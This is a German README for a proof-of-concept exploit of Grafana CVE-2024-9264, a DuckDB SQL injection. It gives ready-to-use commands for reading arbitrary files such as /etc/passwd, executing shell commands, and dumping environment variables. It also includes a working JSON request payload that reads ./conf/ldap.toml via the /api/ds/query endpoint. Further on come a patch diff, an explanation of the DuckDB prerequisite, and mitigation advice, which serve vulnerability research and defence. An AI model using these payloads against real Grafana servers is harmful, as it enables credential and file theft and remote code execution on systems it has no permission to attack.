
Exploit for Grafana arbitrary file-read and RCE (CVE-2024-9264)
Dieses PoC demonstriert die Ausnutzung von CVE-2024-9264 unter Verwendung eines authentifizierten Benutzers, um eine DuckDB-SQL-Abfrage durchzuführen und eine beliebige Datei im Dateisystem zu lesen oder beliebigen Code remote auszuführen.
Beliebiger Code kann nur auf Grafana v11.0.0 ausgeführt werden.
Dateien können in allen anfälligen Versionen gelesen werden.
Setup: Installieren Sie die erforderlichen Abhängigkeiten mit:
pip install -r requirements.txt
Dateilesen (Universell):
python3 CVE-2024-9264.py -u user -p pass -f /etc/passwd http://localhost:3000
Befehlsausführung (nur v11.0.0)
python3 CVE-2024-9264.py -u user -p user -c <shell-cmd> http://localhost:3000
Sie können auch beliebige DuckDB-Abfragen ausführen, z.B. getenv aufrufen, um Umgebungsvariablen abzurufen:
python3 CVE-2024-9264.py -u user -p pass -q "SELECT getenv('PATH')" http://localhost:3000
Die Liste der nutzbaren DuckDB-Hilfsfunktionen finden Sie hier.
CVE-2024-9264 ist eine DuckDB-SQL-Injection-Schwachstelle in Grafanas experimentellem SQL-Expressions-Feature. Jeder authentifizierte Benutzer kann beliebige DuckDB-SQL-Abfragen über modifizierte Ausdrücke in Grafana-Dashboards ausführen.
Betroffene Versionen:
Gepatchte Versionen:
Grafana hat spezielle Versionen veröffentlicht, um diese Schwachstelle zu beheben. Um den Patch zu analysieren, können die folgenden Befehle verwendet werden, um die Änderungen zu vergleichen:
git checkout v11.0.5+security-01
git diff 0421a8911cfc05a46c516fd9d033a51e52e51afe 70316b3e1418c9054017047e63c1c96abb26f495
Dies zeigt, dass das SQL-Expressions-Feature einfach aus den anfälligen Versionen entfernt wurde.
+++ b/pkg/expr/sql/db.go
@@ -0,0 +1,26 @@
+package sql
+
+import (
+ "errors"
+
+ "github.com/grafana/grafana-plugin-sdk-go/data"
+)
+
+type DB struct {
+}
+
+func (db *DB) TablesList(rawSQL string) ([]string, error) {
+ return nil, errors.New("not implemented")
+}
+
+func (db *DB) RunCommands(commands []string) (string, error) {
+ return "", errors.New("not implemented")
+}
+
+func (db *DB) QueryFramesInto(name string, query string, frames []*data.Frame, f *data.Frame) error {
+ return errors.New("not implemented")
+}
+
+func NewInMemoryDB() *DB {
+ return &DB{}
+}
@@ -85,7 +84,7 @@ func (gr *SQLCommand) Execute(ctx context.Context, now time.Time, vars mathexp.V
rsp := mathexp.Results{}
- duckDB := duck.NewInMemoryDB()
+ duckDB := sql.NewInMemoryDB()
var frame = &data.Frame{}
err := duckDB.QueryFramesInto(gr.refID, gr.query, allFrames, frame);
if err != nil {
Der Patch entfernt SQL-Expressions vollständig und verhindert so die Möglichkeit der Ausnutzung.
Grafana starten: Führen Sie Grafana mit Version 11.0.5 aus:
docker run --name=grafana -p 3000:3000 grafana/grafana-enterprise:11.0.5
Einen Ausdruck modifizieren:
Erstellen Sie ein Dashboard mit einem Ausdruck wie "Math", fangen Sie die Anfrage mit Burp ab und ändern Sie den datasource-Typ von math zu sql.
Eine HTTP-Anfrage wird an /api/ds/query?ds_type=__expr__&expression=true&requestId=Q101 gesendet.
Nachfolgend das minimale JSON, das für eine DuckDB-SQL-Abfrage zum Lesen einer beliebigen Datei wie ./conf/ldap.toml erforderlich ist:
{
"queries": [
{
"refId": "B",
"datasource": {
"type": "__expr__",
"uid": "__expr__",
"name": "Expression"
},
"type": "sql",
"hide": false,
"expression": "SELECT content FROM read_blob(\"./conf/ldap.toml\")",
"window": ""
}
],
"from": "1729313027261",
"to": "1729334627261"
}
Für die tatsächliche Ausnutzung muss kein Dashboard vorhanden sein; es ist lediglich ein einfacher Weg, die HTTP-Anfrage zur Ausführung einer Abfrage zu finden.
Es ist wichtig zu beachten, dass die Ausnutzbarkeit dieser kritischen Schwachstelle davon abhängt, ob die DuckDB-Binärdatei auf dem Grafana-Server installiert ist. Standardmäßig wird Grafana nicht mit installiertem DuckDB ausgeliefert, und es gibt keine Möglichkeit, es direkt über die Grafana-Oberfläche zu installieren.
Damit diese Schwachstelle ausgenutzt werden kann, muss ein Administrator DuckDB manuell installiert und zum $PATH des Grafana-Servers hinzugefügt haben. Wenn DuckDB nicht vorhanden ist, kann die SQL-Injection-Schwachstelle nicht genutzt werden, was die Wahrscheinlichkeit einer erfolgreichen Ausnutzung in Standardinstallationen erheblich verringert.
Aktualisieren Sie Grafana auf gepatchte Versionen und stellen Sie sicher, dass die DuckDB-Binärdatei nicht im $PATH vorhanden ist, falls das Patchen verzögert wird.
Dieses PoC verwendet das von cfreal entwickelte ten-Framework.